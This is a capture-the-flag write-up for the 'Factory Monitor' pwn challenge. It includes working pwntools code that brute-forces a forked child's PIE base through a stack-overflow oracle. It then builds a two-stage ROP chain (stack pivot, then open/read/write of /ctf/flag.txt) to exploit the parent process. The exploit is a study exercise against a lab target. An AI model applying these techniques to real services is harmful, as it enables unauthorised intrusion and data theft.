What made this challenge interesting#

Three details made the challenge click for me:

• the service managed forked child processes from one long-lived parent
• there were two separate stack overflows
• the hint pointed directly at inheritance between parent and child

That meant the child bug was not only useful for crashing a worker. It was useful because the child inherited the same PIE base as the parent for the whole live session.

The behavior I saw first#

The CLI exposed commands like these:

1
create / start / send / recv / monitor / cleanup

Each machine was a forked child with pipes back to the parent. The key mental model was:

1. one TCP connection keeps the parent alive
2. child machines are started and restarted from that parent
3. the parent PIE base stays fixed during the session
4. the child inherits that same layout basis

That made byte-by-byte brute force realistic, because I could keep the same parent alive while restarting children as many times as I needed.

Vulnerabilities I used#

I ended up using two unsafe reads through the same line-reading helper:

• child overflow in the machine callback path
• parent overflow in cli_recv

The important offsets were:

• child saved RIP offset: 0x118
• parent saved RIP offset: 0x138

That already suggested a two-phase solve: use the easier child crash path for information first, then spend the recovered address data on the real parent exploit.

Background knowledge#

Step 1: Set up one machine and keep one live connection#

I started with a small pwntools wrapper and one live connection:

1
from pwn import *
2
import re, time
3

4
HOST, PORT = "factory-monitor.pwn.ctf.umasscybersec.org", 45000
5
io = remote(HOST, PORT)
6

7
PROMPT = b"choice? "
8
START_RE = re.compile(rb"Machine process (\d+) started")
9

10
def recv_prompt(timeout=3):
11
    return io.recvuntil(PROMPT, timeout=timeout)
12

13
def cmd(line: bytes):
14
    io.sendline(line)
15
    return recv_prompt()

Then I created and started one machine:

1
print(cmd(b"create m 1").decode("latin-1", "replace"))
2
out = cmd(b"start 0")
3
print(out.decode("latin-1", "replace"))

The exact machine commands were not the hard part. The important part was keeping the whole leak phase inside one connection so the parent process stayed stable.

Step 2: Turn the child overflow into a byte oracle#

The first exploit stage targeted the child callback return path. I overflowed the child stack with:

1
A * 272 + saved rbp filler + guessed RIP prefix

In code:

1
payload = b"A" * 272 + b"A" * 8 + prefix

Then I forced the callback path with this sequence:

1. send 0 <payload>
2. recv 0 200
3. recv 0 200
4. send 0 fail
5. recv 0 200
6. monitor 0

The goal was to steer RIP to base + 0xb457, a useful location near the child return path. The nice part was the oracle:

• correct byte guess → child exits with status 65
• wrong byte guess → crash or different process event

So I brute-forced bytes of addr(base + 0xb457) one by one.

The heart of that leak loop was:

1
found = bytearray([0x57])
2
for idx in range(1, 6):
3
    hit = None
4
    for g in range(256):
5
        if g == 0x0A:
6
            continue
7
        verdict, event, pid = attempt(bytes(found) + bytes([g]), pid)
8
        if verdict == "status" and b"status 65" in event:
9
            hit = g
10
            print(f"[+] byte{idx}=0x{g:02x}")
11
            break
12
    if hit is None:
13
        hit = 0x0A
14
        print(f"[+] byte{idx}=0x0a (inferred)")
15
    found.append(hit)
16

17
found.extend(b"\x00\x00")
18
addr_b457 = u64(bytes(found))
19
base = addr_b457 - 0xB457

Recovered result:

1
addr_b457 = 0x7fbea14c7457
2
base      = 0x7fbea14bc000

That was the key transition point of the challenge. Once the base was known, the parent overflow became reliable instead of blind.

Step 3: Build a two-stage parent ROP chain#

With PIE solved, I used the parent overflow at offset 0x138.

The plan was:

• stage 1: call read(0, stage2_addr, 0x500) and pivot the stack
• stage 2: run ORW to open /ctf/flag.txt, read it, and write it back to stdout

The offsets I used from the PIE base were:

1
pop rdi ; pop rbp ; ret = 0xc028
2
pop rsi ; pop rbp ; ret = 0x15b26
3
pop rdx ; xor eax,eax ; ... ; ret = 0x836dc
4
pop rsp ; ret = 0x51468
5
xchg edi,eax ; ret = 0x841c6
6
open  = 0x38a40
7
read  = 0x38ba0
8
write = 0x38c40

I placed stage 2 in writable memory at base + 0xc8000.

Stage 1 looked like this:

1
stage1  = b"A" * 0x138
2
stage1 += A(POP_RDI_RBP) + p64(0) + p64(0)
3
stage1 += A(POP_RSI_RBP) + p64(stage2_addr) + p64(0)
4
stage1 += A(POP_RDX) + p64(0x500) + p64(0) + p64(0) + p64(0) + p64(0)
5
stage1 += A(READ)
6
stage1 += A(POP_RSP) + p64(stage2_addr)

Stage 2 built the ORW chain and appended the path string:

1
stage2  = b""
2
stage2 += A(POP_RDI_RBP) + p64(path_addr) + p64(0)
3
stage2 += A(POP_RSI_RBP) + p64(0) + p64(0)
4
stage2 += A(POP_RDX) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0)
5
stage2 += A(OPEN)
6
stage2 += A(XCHG_EDI_EAX)
7
stage2 += A(POP_RSI_RBP) + p64(buf_addr) + p64(0)
8
stage2 += A(POP_RDX) + p64(0x100) + p64(0) + p64(0) + p64(0) + p64(0)
9
stage2 += A(READ)
10
stage2 += A(POP_RDI_RBP) + p64(1) + p64(0)
11
stage2 += A(POP_RSI_RBP) + p64(buf_addr) + p64(0)
12
stage2 += A(POP_RDX) + p64(0x100) + p64(0) + p64(0) + p64(0) + p64(0)
13
stage2 += A(WRITE)
14
stage2  = stage2.ljust(0x300, b"\x00") + b"/ctf/flag.txt\x00"

Step 4: Trigger the parent overflow in the right order#

The ordering mattered a lot. That was one of the easiest places to get stuck.

The sequence that worked was:

1
cmd(b"start 0")
2
cmd(b"send 0 " + stage1)
3
cmd(b"recv 0 200")
4

5
io.sendline(b"recv 0 200")
6
time.sleep(0.08)
7
io.send(stage2)

Why this order matters:

• the first recv only consumes the short echo line
• the second recv is the one that processes the long payload and returns into stage 1
• stage 2 must be fed immediately after stage 1’s read(0, ...) starts waiting

Once that timing was right, the returned data contained the flag.

Step 5: Read the output and extract the flag#

I kept receiving until I saw the expected pattern:

1
data = b""
2
end = time.time() + 8
3
while time.time() < end:
4
    try:
5
        chunk = io.recv(timeout=0.25)
6
    except EOFError:
7
        break
8
    if not chunk:
9
        continue
10
    data += chunk
11
    if b"UMASS{" in data:
12
        break

Final result:

Flag

UMASS{AsLR_L3Ak}

Concept map#

1
mindmap
2
  root((Factory Monitor))
3
    Setup
4
      one live TCP connection
5
      parent process stays alive
6
      children are forked from parent
7
    Child stage
8
      child stack overflow
9
      use monitor as oracle
10
      correct guess gives status 65
11
      recover address of base plus b457
12
      compute PIE base
13
    Parent stage
14
      parent stack overflow at cli_recv
15
      stage 1 calls read and pivots stack
16
      stage 2 runs open read write chain
17
    Final result
18
      open /ctf/flag.txt
19
      read flag into buffer
20
      write flag to stdout
21
      UMASS AsLR L3Ak